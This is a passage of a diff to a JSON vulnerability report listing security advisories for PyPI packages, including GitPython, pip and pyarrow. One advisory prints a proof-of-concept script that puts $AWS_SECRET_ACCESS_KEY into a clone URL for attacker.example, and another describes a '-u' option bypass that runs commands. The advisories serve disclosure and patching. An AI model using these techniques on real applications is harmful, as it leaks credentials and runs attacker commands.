variables in paths is deprecated for security reasons\", `git/repo/base.py:226\u2013231`) and offers `expand_vars=False`. The same treatment is missing for the network-bound clone URL.\n\n**Secondary consequence (unsafe-protocol filter bypass).** Because `check_unsafe_protocols()` runs on the *pre-expansion* URL (line 1408) but the *post-expansion* URL is what reaches `git`, an attacker who additionally controls any environment variable in the server process could set e.g. `X=ext::sh -c '...'` and submit `url=\"$X\"`; the raw string `$X` passes the `ext::` filter, then expands to an `ext::` remote-helper transport that `git` will execute. This requires a second precondition (env-var write) and is noted as an aggravating factor rather than a separate vulnerability.\n\n### PoC\nTested against `gitpython==3.1.50` on Linux with Python 3 and `git` on `PATH`.\n\n```bash\npython3 -m venv /tmp/gp-venv\n/tmp/gp-venv/bin/pip install gitpython==3.1.50\n/tmp/gp-venv/bin/python poc.py\n```\n\n`poc.py`:\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: environment-variable exfiltration via Repo.clone_from() URL.\n\nDemonstrates that an attacker-controlled `url` argument to Repo.clone_from()\nis passed through os.path.expandvars() before being given to `git clone`,\nso `$NAME` tokens in the URL are replaced with the server process's\nenvironment-variable values and transmitted to the attacker-named host.\n\nThe PoC intercepts the Popen argv to show the exact URL handed to `git`\nwithout performing real network I/O.\n\"\"\"\nimport os\nimport sys\nimport subprocess\nimport tempfile\n\n# Simulate a sensitive server-side environment variable.\nos.environ[\"AWS_SECRET_ACCESS_KEY\"] = \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n\nimport git # noqa: E402\nfrom git import Git, Repo # noqa: E402\n\nprint(f\"gitpython version: {git.__version__}\")\n\n# --- Layer 1: Git.polish_url() directly --------------------------------------\nattacker_url = \"https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git\"\npolished = Git.polish_url(attacker_url)\nprint(\"\\n[Layer 1] polish_url result:\")\nprint(f\" input : {attacker_url}\")\nprint(f\" output: {polished}\")\nif os.environ[\"AWS_SECRET_ACCESS_KEY\"] in polished:\n print(\" -> secret SUBSTITUTED into URL by polish_url()\")\n\n# --- Layer 2: full Repo.clone_from() -- capture argv given to `git` ----------\ncaptured = {}\norig_popen = subprocess.Popen\n\nclass CapturingPopen(orig_popen):\n def __init__(self, cmd, *a, **kw):\n if isinstance(cmd, (list, tuple)) and \"clone\" in cmd:\n captured[\"cmd\"] = list(cmd)\n super().__init__(cmd, *a, **kw)\n\nsubprocess.Popen = CapturingPopen\nimport git.cmd as gitcmd # noqa: E402\ngitcmd.safer_popen = CapturingPopen # non-Windows: safer_popen == Popen\n\ndest = tempfile.mkdtemp(prefix=\"gp_poc_\")\ntry:\n Repo.clone_from(attacker_url, os.path.join(dest, \"out\"))\nexcept Exception as e:\n # The clone fails (attacker.example does not resolve); we only need argv.\n print(f\"\\n[Layer 2] clone_from raised (expected): {type(e).__name__}\")\n\nsubprocess.Popen = orig_popen\n\nprint(\"\\n[Layer 2] argv passed to `git clone` subprocess:\")\nfor tok in captured.get(\"cmd\", []):\n print(f\" {tok}\")\n\ncmd = captured.get(\"cmd\", [])\nurl_arg = cmd[cmd.index(\"--\") + 1] if \"--\" in cmd else None\nprint(f\"\\n[Layer 2] URL argument given to git: {url_arg}\")\n\nsecret = os.environ[\"AWS_SECRET_ACCESS_KEY\"]\nif url_arg and secret in url_arg:\n print(\n \"\\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated \"\n \"into the remote clone URL; git would transmit it to attacker.example.\"\n )\n sys.exit(0)\nprint(\"\\nNOT VULNERABLE\")\nsys.exit(1)\n```\n\nExpected output:\n```\ngitpython version: 3.1.50\n\n[Layer 1] polish_url result:\n input : https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git\n output: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n -> secret SUBSTITUTED into URL by polish_url()\n\n[Layer 2] clone_from raised (expected): GitCommandError\n\n[Layer 2] argv passed to `git clone` subprocess:\n git\n clone\n -v\n --\n https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n /tmp/gp_poc_XXXXXXXX/out\n\n[Layer 2] URL argument given to git: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated into the remote clone URL; git would transmit it to attacker.example.\n```\n\nThe captured argv is the exact command line spawned by GitPython; against a real attacker-controlled host, `git` would issue a DNS lookup and HTTP(S) request to that host with the secret embedded in the request path.\n\n### Impact\nAny application that calls `Repo.clone_from()` (or `Repo.clone()`) with a URL that is wholly or partially attacker-controlled \u2014 the canonical pattern for \"import/mirror repository from URL\" features in CI systems, source-code hosting platforms, dependency scanners, and build pipelines \u2014 allows an unauthenticated or low-privileged attacker to exfiltrate arbitrary environment variables from the server process, one per request, by naming them in the URL. Cloud credentials, API tokens, and signing keys stored in the environment are the primary targets. Applications that do not accept clone URLs from untrusted sources, or that run the cloner in a process with a fully stripped environment, are not affected. There is no direct integrity or availability impact.\n\n**Suggested fix:** Remove the `os.path.expandvars()` (and `os.path.expanduser()`) call from `Git.polish_url()` for inputs that are remote URLs (contain `://` or match `user@host:path`), or remove the expansion entirely and require callers who want local-path env expansion to perform it themselves \u2014 mirroring the existing deprecation on `Repo(path, expand_vars=\u2026)`. Additionally, apply `check_unsafe_protocols()` to the *post-transformation* URL so no future `polish_url` change can silently bypass the `ext::` filter.", + "id": "GHSA-rwj8-pgh3-r573", + "modified": "2026-07-23T03:14:29.805707445Z", + "published": "2026-07-21T22:06:09Z", "references": [ { "type": "WEB", @@ -1442,32 +1492,24 @@ "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.52" } ], - "database_specific": { - "cwe_ids": [ - "CWE-200", - "CWE-201" - ], - "github_reviewed": true, - "github_reviewed_at": "2026-07-21T22:06:09Z", - "nvd_published_at": null, - "severity": "HIGH" - } - }, - { - "modified": "2026-07-21T20:00:30Z", - "published": "2026-07-21T19:43:14Z", + "related": [ + "CGA-5665-f577-gxxx" + ], "schema_version": "1.7.5", - "id": "GHSA-v396-v7q4-x2qj", - "summary": "GitPython unsafe clone option gate bypass through joined short options", - "details": "`GitPython` version `3.1.50` blocks unsafe `git clone` options such as `--upload-pack`, `-u`, `--config`, and `-c` unless callers explicitly pass `allow_unsafe_options=True`. However, the default unsafe-option gate does not recognize joined short-option forms such as `-u/path/to/helper`.\n\nGit itself accepts `-u` as the short form of `--upload-pack=`. As a result, `Repo.clone_from(..., multi_options=[\"-u\"], allow_unsafe_options=False)` can execute the helper command even though the equivalent long option is blocked.\n\nAffected package:\n\n- Ecosystem: PyPI\n- Package: `GitPython`\n- Confirmed affected version: `3.1.50`\n- Repository: `gitpython-developers/GitPython`\n- Current PyPI version during triage: `3.1.50`\n\nRelevant behavior:\n\n- `Repo.unsafe_git_clone_options` correctly lists `--upload-pack`, `-u`, `--config`, and `-c` as unsafe clone options.\n- `Repo._clone()` splits `multi_options` with `shlex.split(\" \".join(multi_options))` and then calls `Git.check_unsafe_options(...)`.\n- `_canonicalize_option_name(\"-u/path/to/helper\")` returns a string beginning with `u...`, not the canonical short option `u`, so it does not match the blocked `-u` entry.\n- Git accepts the same joined short option as `--upload-pack=` and executes the helper during clone.\n\nPreconditions:\n\nAn application must pass attacker-influenced clone options into `Repo.clone_from(..., multi_options=...)` while relying on GitPython's default unsafe-option gate to block command-executing options.\n\nThe local PoC uses only a local bare Git repository and a local helper script. It does not contact any third-party service.\n\nLocal reproduction:\n\nThe PoC creates a disposable bare Git repository, a helper script, and a sentinel file path. It first confirms that the long `--upload-pack=` form is blocked by GitPython. It then calls `Repo.clone_from(..., multi_options=[\"-u\"], allow_unsafe_options=False)`.\n\nObserved sanitized output:\n\n```text\ngitpython_version=3.1.50\ngit_version=git version 2.53.0.windows.1\ntmp_dir=\nlong_upload_pack_gate=BLOCKED:UnsafeOptionError\njoined_short_upload_pack_gate=ALLOWED\nclone_result=EXPECTED_EXCEPTION:GitCommandError\nsentinel_exists=True\nsentinel_text=GITPYTHON_UNSAFE_OPTION_BYPASS\n```\n\nThe clone fails because the helper exits nonzero, but the sentinel file proves that Git executed the helper despite `allow_unsafe_options=False`.\n\nImpact:\n\nAn attacker who controls `multi_options` can bypass GitPython's default `allow_unsafe_options=False` protection and execute a local command via Git's `--upload-pack` / `-u` clone option. This is a residual bypass of an explicit GitPython security boundary, not merely a case where a caller opted into unsafe behavior.\n\nDuplicate / related advisory checks:\n\n- OSV query for `PyPI/GitPython` version `3.1.50` returned no vulnerabilities.\n- The repository's public advisories include related unsafe Git option issues, including `GHSA-x2qx-6953-8485` / `CVE-2026-42284` and `GHSA-rpm5-65cw-6hj4` / `CVE-2026-42215`. Their public affected ranges are marked as fixed before 3.1.50.\n- `GHSA-x2qx-6953-8485` describes validating `multi_options` before `shlex.split(...)`. GitPython 3.1.50 now validates after splitting, but the joined short option `-u` still bypasses because the validator canonicalizes it to `u` rather than `u`.\n- `GHSA-rpm5-65cw-6hj4` describes unsafe underscored kwargs such as `upload_pack=...`. The current PoC uses `multi_options=[\"-u\"]` against 3.1.50 and does not depend on underscored kwargs.\n- GitHub issue search for `upload-pack unsafe options` found historical related items, including CVE-2022-24439 and the earlier unsafe-options gate work, but no public issue describing this current joined-short-option residual bypass in 3.1.50.\n- GitHub issue search for `multi_options unsafe` found PR #2130, which fixed splitting of `multi_options` before checking. The current issue remains after that split because `-u` is treated as option name `u`, not blocked short option `u`.\n- GitHub issue searches for `u unsafe` and `-cfoo` returned no results.\n\nSuggested remediation:\n\nWhen checking unsafe Git options, parse joined short options that take values. For clone, `-uVALUE` and `-cKEY=VALUE` should be canonicalized to `u` and `c` respectively before comparing against the unsafe option set.\n\nA safer approach is to maintain command-specific metadata for unsafe short options and recognize the bare option, split form, joined form, and long `--option=` / `--option ` forms.", "severity": [ { - "type": "CVSS_V4", - "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", + "type": "CVSS_V3" } ], + "summary": "GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL" + }, + { "affected": [ { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-v396-v7q4-x2qj/GHSA-v396-v7q4-x2qj.json" + }, "package": { "ecosystem": "PyPI", "name": "gitpython", @@ -1475,7 +1517,6 @@ }, "ranges": [ { - "type": "ECOSYSTEM", "events": [ { "introduced": "3.1.50" @@ -1483,17 +1524,28 @@ { "fixed": "3.1.51" } - ] + ], + "type": "ECOSYSTEM" } ], "versions": [ "3.1.50" - ], - "database_specific": { - "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-v396-v7q4-x2qj/GHSA-v396-v7q4-x2qj.json" - } + ] } ], + "database_specific": { + "cwe_ids": [ + "CWE-78" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-07-21T19:43:14Z", + "nvd_published_at": null, + "severity": "HIGH" + }, + "details": "`GitPython` version `3.1.50` blocks unsafe `git clone` options such as `--upload-pack`, `-u`, `--config`, and `-c` unless callers explicitly pass `allow_unsafe_options=True`. However, the default unsafe-option gate does not recognize joined short-option forms such as `-u/path/to/helper`.\n\nGit itself accepts `-u` as the short form of `--upload-pack=`. As a result, `Repo.clone_from(..., multi_options=[\"-u\"], allow_unsafe_options=False)` can execute the helper command even though the equivalent long option is blocked.\n\nAffected package:\n\n- Ecosystem: PyPI\n- Package: `GitPython`\n- Confirmed affected version: `3.1.50`\n- Repository: `gitpython-developers/GitPython`\n- Current PyPI version during triage: `3.1.50`\n\nRelevant behavior:\n\n- `Repo.unsafe_git_clone_options` correctly lists `--upload-pack`, `-u`, `--config`, and `-c` as unsafe clone options.\n- `Repo._clone()` splits `multi_options` with `shlex.split(\" \".join(multi_options))` and then calls `Git.check_unsafe_options(...)`.\n- `_canonicalize_option_name(\"-u/path/to/helper\")` returns a string beginning with `u...`, not the canonical short option `u`, so it does not match the blocked `-u` entry.\n- Git accepts the same joined short option as `--upload-pack=` and executes the helper during clone.\n\nPreconditions:\n\nAn application must pass attacker-influenced clone options into `Repo.clone_from(..., multi_options=...)` while relying on GitPython's default unsafe-option gate to block command-executing options.\n\nThe local PoC uses only a local bare Git repository and a local helper script. It does not contact any third-party service.\n\nLocal reproduction:\n\nThe PoC creates a disposable bare Git repository, a helper script, and a sentinel file path. It first confirms that the long `--upload-pack=` form is blocked by GitPython. It then calls `Repo.clone_from(..., multi_options=[\"-u\"], allow_unsafe_options=False)`.\n\nObserved sanitized output:\n\n```text\ngitpython_version=3.1.50\ngit_version=git version 2.53.0.windows.1\ntmp_dir=\nlong_upload_pack_gate=BLOCKED:UnsafeOptionError\njoined_short_upload_pack_gate=ALLOWED\nclone_result=EXPECTED_EXCEPTION:GitCommandError\nsentinel_exists=True\nsentinel_text=GITPYTHON_UNSAFE_OPTION_BYPASS\n```\n\nThe clone fails because the helper exits nonzero, but the sentinel file proves that Git executed the helper despite `allow_unsafe_options=False`.\n\nImpact:\n\nAn attacker who controls `multi_options` can bypass GitPython's default `allow_unsafe_options=False` protection and execute a local command via Git's `--upload-pack` / `-u` clone option. This is a residual bypass of an explicit GitPython security boundary, not merely a case where a caller opted into unsafe behavior.\n\nDuplicate / related advisory checks:\n\n- OSV query for `PyPI/GitPython` version `3.1.50` returned no vulnerabilities.\n- The repository's public advisories include related unsafe Git option issues, including `GHSA-x2qx-6953-8485` / `CVE-2026-42284` and `GHSA-rpm5-65cw-6hj4` / `CVE-2026-42215`. Their public affected ranges are marked as fixed before 3.1.50.\n- `GHSA-x2qx-6953-8485` describes validating `multi_options` before `shlex.split(...)`. GitPython 3.1.50 now validates after splitting, but the joined short option `-u` still bypasses because the validator canonicalizes it to `u` rather than `u`.\n- `GHSA-rpm5-65cw-6hj4` describes unsafe underscored kwargs such as `upload_pack=...`. The current PoC uses `multi_options=[\"-u\"]` against 3.1.50 and does not depend on underscored kwargs.\n- GitHub issue search for `upload-pack unsafe options` found historical related items, including CVE-2022-24439 and the earlier unsafe-options gate work, but no public issue describing this current joined-short-option residual bypass in 3.1.50.\n- GitHub issue search for `multi_options unsafe` found PR #2130, which fixed splitting of `multi_options` before checking. The current issue remains after that split because `-u` is treated as option name `u`, not blocked short option `u`.\n- GitHub issue searches for `u unsafe` and `-cfoo` returned no results.\n\nSuggested remediation:\n\nWhen checking unsafe Git options, parse joined short options that take values. For clone, `-uVALUE` and `-cKEY=VALUE` should be canonicalized to `u` and `c` respectively before comparing against the unsafe option set.\n\nA safer approach is to maintain command-specific metadata for unsafe short options and recognize the bare option, split form, joined form, and long `--option=` / `--option ` forms.", + "id": "GHSA-v396-v7q4-x2qj", + "modified": "2026-07-23T03:14:30.616927277Z", + "published": "2026-07-21T19:43:14Z", "references": [ { "type": "WEB", @@ -1512,57 +1564,18 @@ "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51" } ], - "database_specific": { - "cwe_ids": [ - "CWE-78" - ], - "github_reviewed": true, - "github_reviewed_at": "2026-07-21T19:43:14Z", - "nvd_published_at": null, - "severity": "HIGH" - } - } - ], - "groups": [ - { - "ids": [ - "GHSA-2f96-g7mh-g2hx" - ], - "aliases": [ - "GHSA-2f96-g7mh-g2hx" + "related": [ + "CGA-5w9h-q384-cggx" ], - "max_severity": "8.8" - }, - { - "ids": [ - "GHSA-956x-8gvw-wg5v" - ], - "aliases": [ - "GHSA-956x-8gvw-wg5v" - ], - "max_severity": "8.4" - }, - { - "ids": [ - "GHSA-rwj8-pgh3-r573" - ], - "aliases": [ - "GHSA-rwj8-pgh3-r573" - ], - "max_severity": "7.5" - }, - { - "ids": [ - "GHSA-v396-v7q4-x2qj" - ], - "aliases": [ - "GHSA-v396-v7q4-x2qj" + "schema_version": "1.7.5", + "severity": [ + { + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", + "type": "CVSS_V4" + } ], - "max_severity": "8.7" + "summary": "GitPython unsafe clone option gate bypass through joined short options" } - ], - "licenses": [ - "BSD-3-Clause" ] }, { @@ -2338,7 +2351,47 @@ { "package": { "name": "nemo-fabric", - "version": "0.1.0a20260717", + "version": "0.1.0a20260722", + "ecosystem": "PyPI" + }, + "licenses": [ + "Apache-2.0" + ] + }, + { + "package": { + "name": "nemo-fabric-adapters-codex", + "version": "0.1.0a20260722", + "ecosystem": "PyPI" + }, + "licenses": [ + "Apache-2.0" + ] + }, + { + "package": { + "name": "nemo-fabric-adapters-common", + "version": "0.1.0a20260722", + "ecosystem": "PyPI" + }, + "licenses": [ + "Apache-2.0" + ] + }, + { + "package": { + "name": "nemo-fabric-adapters-hermes", + "version": "0.1.0a20260722", + "ecosystem": "PyPI" + }, + "licenses": [ + "Apache-2.0" + ] + }, + { + "package": { + "name": "nemo-fabric-runtime", + "version": "0.1.0a20260722", "ecosystem": "PyPI" }, "licenses": [ @@ -2555,6 +2608,26 @@ "Apache-2.0" ] }, + { + "package": { + "name": "openai-codex", + "version": "0.144.4", + "ecosystem": "PyPI" + }, + "licenses": [ + "Apache-2.0" + ] + }, + { + "package": { + "name": "openai-codex-cli-bin", + "version": "0.144.4", + "ecosystem": "PyPI" + }, + "licenses": [ + "Apache-2.0" + ] + }, { "package": { "name": "openapi-pydantic", @@ -2861,25 +2934,31 @@ "version": "26.1.1", "ecosystem": "PyPI" }, - "vulnerabilities": [ + "groups": [ { - "modified": "2026-07-13T16:45:04Z", - "published": "2026-06-01T17:17:35Z", - "schema_version": "1.7.5", - "id": "PYSEC-2026-196", - "aliases": [ - "CVE-2026-8643", + "ids": [ + "PYSEC-2026-196", "GHSA-wf93-45jw-7689" ], - "details": "pip would treat console_scripts and gui_scripts as paths instead of file names without sanitizing the resolved absolute path to the installation directory, leading to entry points being installed outside the installation directory.", - "severity": [ - { - "type": "CVSS_V3", - "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N" - } + "aliases": [ + "CVE-2026-8643", + "GHSA-wf93-45jw-7689", + "PYSEC-2026-196" ], + "max_severity": "8.0" + } + ], + "licenses": [ + "MIT" + ], + "vulnerabilities": [ + { "affected": [ { + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/pip/PYSEC-2026-196.yaml" + }, + "ecosystem_specific": {}, "package": { "ecosystem": "PyPI", "name": "pip", @@ -2887,7 +2966,6 @@ }, "ranges": [ { - "type": "ECOSYSTEM", "events": [ { "introduced": "0" @@ -2895,7 +2973,8 @@ { "fixed": "26.1.2" } - ] + ], + "type": "ECOSYSTEM" } ], "versions": [ @@ -3055,12 +3134,17 @@ "9.0.1", "9.0.2", "9.0.3" - ], - "database_specific": { - "source": "https://github.com/pypa/advisory-database/blob/main/vulns/pip/PYSEC-2026-196.yaml" - } + ] } ], + "aliases": [ + "CVE-2026-8643", + "GHSA-wf93-45jw-7689" + ], + "details": "pip would treat console_scripts and gui_scripts as paths instead of file names without sanitizing the resolved absolute path to the installation directory, leading to entry points being installed outside the installation directory.", + "id": "PYSEC-2026-196", + "modified": "2026-07-13T16:45:04.859457874Z", + "published": "2026-06-01T17:17:35.770Z", "references": [ { "type": "ADVISORY", @@ -3078,34 +3162,21 @@ "type": "ADVISORY", "url": "https://github.com/advisories/GHSA-wf93-45jw-7689" } - ] - }, - { - "modified": "2026-07-14T02:29:29Z", - "published": "2026-06-01T18:31:53Z", - "schema_version": "1.7.5", - "id": "GHSA-wf93-45jw-7689", - "aliases": [ - "CVE-2026-8643", - "PYSEC-2026-196" - ], - "related": [ - "CGA-9gv8-q962-65h9" ], - "summary": " pip: Path traversal in console_scripts/gui_scripts\u00a0entry point names allows installing scripts outside of target directory", - "details": "pip would treat console_scripts and gui_scripts as paths instead of file names without sanitizing the resolved absolute path to the installation directory, leading to entry points being installed outside the installation directory.", + "schema_version": "1.7.5", "severity": [ { - "type": "CVSS_V3", - "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H" - }, - { - "type": "CVSS_V4", - "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N" + "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", + "type": "CVSS_V3" } - ], + ] + }, + { "affected": [ { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-wf93-45jw-7689/GHSA-wf93-45jw-7689.json" + }, "package": { "ecosystem": "PyPI", "name": "pip", @@ -3113,7 +3184,6 @@ }, "ranges": [ { - "type": "ECOSYSTEM", "events": [ { "introduced": "0" @@ -3121,7 +3191,8 @@ { "fixed": "26.1.2" } - ] + ], + "type": "ECOSYSTEM" } ], "versions": [ @@ -3281,12 +3352,26 @@ "9.0.1", "9.0.2", "9.0.3" - ], - "database_specific": { - "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-wf93-45jw-7689/GHSA-wf93-45jw-7689.json" - } + ] } ], + "aliases": [ + "CVE-2026-8643", + "PYSEC-2026-196" + ], + "database_specific": { + "cwe_ids": [ + "CWE-22" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-07-08T21:00:36Z", + "nvd_published_at": "2026-06-01T17:17:35Z", + "severity": "MODERATE" + }, + "details": "pip would treat console_scripts and gui_scripts as paths instead of file names without sanitizing the resolved absolute path to the installation directory, leading to entry points being installed outside the installation directory.", + "id": "GHSA-wf93-45jw-7689", + "modified": "2026-07-14T02:29:29.982772188Z", + "published": "2026-06-01T18:31:53Z", "references": [ { "type": "ADVISORY", @@ -3433,33 +3518,22 @@ "url": "http://www.openwall.com/lists/oss-security/2026/06/01/5" } ], - "database_specific": { - "cwe_ids": [ - "CWE-22" - ], - "github_reviewed": true, - "github_reviewed_at": "2026-07-08T21:00:36Z", - "nvd_published_at": "2026-06-01T17:17:35Z", - "severity": "MODERATE" - } - } - ], - "groups": [ - { - "ids": [ - "PYSEC-2026-196", - "GHSA-wf93-45jw-7689" + "related": [ + "CGA-9gv8-q962-65h9" ], - "aliases": [ - "CVE-2026-8643", - "GHSA-wf93-45jw-7689", - "PYSEC-2026-196" + "schema_version": "1.7.5", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", + "type": "CVSS_V3" + }, + { + "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", + "type": "CVSS_V4" + } ], - "max_severity": "8.0" + "summary": " pip: Path traversal in console_scripts/gui_scripts\u00a0entry point names allows installing scripts outside of target directory" } - ], - "licenses": [ - "MIT" ] }, { @@ -3628,25 +3702,30 @@ "version": "22.0.0", "ecosystem": "PyPI" }, - "vulnerabilities": [ + "groups": [ { - "modified": "2026-06-10T17:01:40Z", - "published": "2026-02-17T14:16:01Z", - "schema_version": "1.7.5", - "id": "PYSEC-2026-113", - "aliases": [ - "CVE-2026-25087", + "ids": [ + "PYSEC-2026-113", "GHSA-rgxp-2hwp-jwgg" ], - "details": "Use After Free vulnerability in Apache Arrow C++.\n\nThis issue affects Apache Arrow C++ from 15.0.0 through 23.0.0. It can be triggered when reading an Arrow IPC file (but not an IPC stream) with pre-buffering enabled, if the IPC file contains data with variadic buffers (such as Binary View and String View data). Depending on the number of variadic buffers in a record batch column and on the temporal sequence of multi-threaded IO, a write to a dangling pointer could occur. The value (a `std::shared_ptr` object)\u00a0that is written to the dangling pointer is not under direct control of the attacker.\n\nPre-buffering is disabled by default but can be enabled using a specific C++ API call (`RecordBatchFileReader::PreBufferMetadata`). The functionality is not exposed in language bindings (Python, Ruby, C GLib), so these bindings are not vulnerable.\n\nThe most likely consequence of this issue would be random crashes or memory corruption when reading specific kinds of IPC files. If the application allows ingesting IPC files from untrusted sources, this could plausibly be exploited for denial of service. Inducing more targeted kinds of misbehavior (such as confidential data extraction from the running process) depends on memory allocation and multi-threaded IO temporal patterns that are unlikely to be easily controlled by an attacker.\n\nAdvice for users of Arrow C++:\n\n1. check whether you enable pre-buffering on the IPC file reader (using\u00a0`RecordBatchFileReader::PreBufferMetadata`)\n \n2. if so, either disable pre-buffering (which may have adverse performance consequences), or switch to Arrow 23.0.1 which is not vulnerable", - "severity": [ - { - "type": "CVSS_V3", - "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H" - } + "aliases": [ + "CVE-2026-25087", + "GHSA-rgxp-2hwp-jwgg", + "PYSEC-2026-113" ], + "max_severity": "7.0" + } + ], + "licenses": [ + "non-standard" + ], + "vulnerabilities": [ + { "affected": [ { + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/pyarrow/PYSEC-2026-113.yaml" + }, "package": { "ecosystem": "PyPI", "name": "pyarrow", @@ -3654,7 +3733,6 @@ }, "ranges": [ { - "type": "ECOSYSTEM", "events": [ { "introduced": "15.0.0" @@ -3662,7 +3740,8 @@ { "fixed": "23.0.1" } - ] + ], + "type": "ECOSYSTEM" } ], "versions": [ @@ -3680,12 +3759,17 @@ "21.0.0", "22.0.0", "23.0.0" - ], - "database_specific": { - "source": "https://github.com/pypa/advisory-database/blob/main/vulns/pyarrow/PYSEC-2026-113.yaml" - } + ] } ], + "aliases": [ + "CVE-2026-25087", + "GHSA-rgxp-2hwp-jwgg" + ], + "details": "Use After Free vulnerability in Apache Arrow C++.\n\nThis issue affects Apache Arrow C++ from 15.0.0 through 23.0.0. It can be triggered when reading an Arrow IPC file (but not an IPC stream) with pre-buffering enabled, if the IPC file contains data with variadic buffers (such as Binary View and String View data). Depending on the number of variadic buffers in a record batch column and on the temporal sequence of multi-threaded IO, a write to a dangling pointer could occur. The value (a `std::shared_ptr` object)\u00a0that is written to the dangling pointer is not under direct control of the attacker.\n\nPre-buffering is disabled by default but can be enabled using a specific C++ API call (`RecordBatchFileReader::PreBufferMetadata`). The functionality is not exposed in language bindings (Python, Ruby, C GLib), so these bindings are not vulnerable.\n\nThe most likely consequence of this issue would be random crashes or memory corruption when reading specific kinds of IPC files. If the application allows ingesting IPC files from untrusted sources, this could plausibly be exploited for denial of service. Inducing more targeted kinds of misbehavior (such as confidential data extraction from the running process) depends on memory allocation and multi-threaded IO temporal patterns that are unlikely to be easily controlled by an attacker.\n\nAdvice for users of Arrow C++:\n\n1. check whether you enable pre-buffering on the IPC file reader (using\u00a0`RecordBatchFileReader::PreBufferMetadata`)\n \n2. if so, either disable pre-buffering (which may have adverse performance consequences), or switch to Arrow 23.0.1 which is not vulnerable", + "id": "PYSEC-2026-113", + "modified": "2026-06-10T17:01:40.430051819Z", + "published": "2026-02-17T14:16:01.947Z", "references": [ { "type": "ADVISORY", @@ -3703,30 +3787,21 @@ "type": "ADVISORY", "url": "https://github.com/advisories/GHSA-rgxp-2hwp-jwgg" } - ] - }, - { - "modified": "2026-06-12T10:29:15Z", - "published": "2026-02-17T15:31:35Z", - "schema_version": "1.7.5", - "id": "GHSA-rgxp-2hwp-jwgg", - "aliases": [ - "CVE-2026-25087", - "PYSEC-2026-113" - ], - "related": [ - "CGA-4vwc-3x55-4m28" ], - "summary": "Apache Arrow: Potential use-after-free when reading IPC file with pre-buffering", - "details": "Use After Free vulnerability in Apache Arrow C++.\n\nThis issue affects Apache Arrow C++ from 15.0.0 through 23.0.0. It can be triggered when reading an Arrow IPC file (but not an IPC stream) with pre-buffering enabled, if the IPC file contains data with variadic buffers (such as Binary View and String View data). Depending on the number of variadic buffers in a record batch column and on the temporal sequence of multi-threaded IO, a write to a dangling pointer could occur. The value (a `std::shared_ptr` object)\u00a0that is written to the dangling pointer is not under direct control of the attacker.\n\nPre-buffering is disabled by default but can be enabled using a specific C++ API call (`RecordBatchFileReader::PreBufferMetadata`). The functionality is not exposed in language bindings (Python, Ruby, C GLib), so these bindings are not vulnerable.\n\nThe most likely consequence of this issue would be random crashes or memory corruption when reading specific kinds of IPC files. If the application allows ingesting IPC files from untrusted sources, this could plausibly be exploited for denial of service. Inducing more targeted kinds of misbehavior (such as confidential data extraction from the running process) depends on memory allocation and multi-threaded IO temporal patterns that are unlikely to be easily controlled by an attacker.\n\nAdvice for users of Arrow C++:\n\n1. check whether you enable pre-buffering on the IPC file reader (using\u00a0`RecordBatchFileReader::PreBufferMetadata`)\n\n2. if so, either disable pre-buffering (which may have adverse performance consequences), or switch to Arrow 23.0.1 which is not vulnerable", + "schema_version": "1.7.5", "severity": [ { - "type": "CVSS_V3", - "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H" + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H", + "type": "CVSS_V3" } - ], + ] + }, + { "affected": [ { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-rgxp-2hwp-jwgg/GHSA-rgxp-2hwp-jwgg.json" + }, "package": { "ecosystem": "PyPI", "name": "pyarrow", @@ -3734,7 +3809,6 @@ }, "ranges": [ { - "type": "ECOSYSTEM", "events": [ { "introduced": "15.0.0" @@ -3742,7 +3816,8 @@ { "fixed": "23.0.1" } - ] + ], + "type": "ECOSYSTEM" } ], "versions": [ @@ -3760,20 +3835,34 @@ "21.0.0", "22.0.0", "23.0.0" - ], - "database_specific": { - "source": 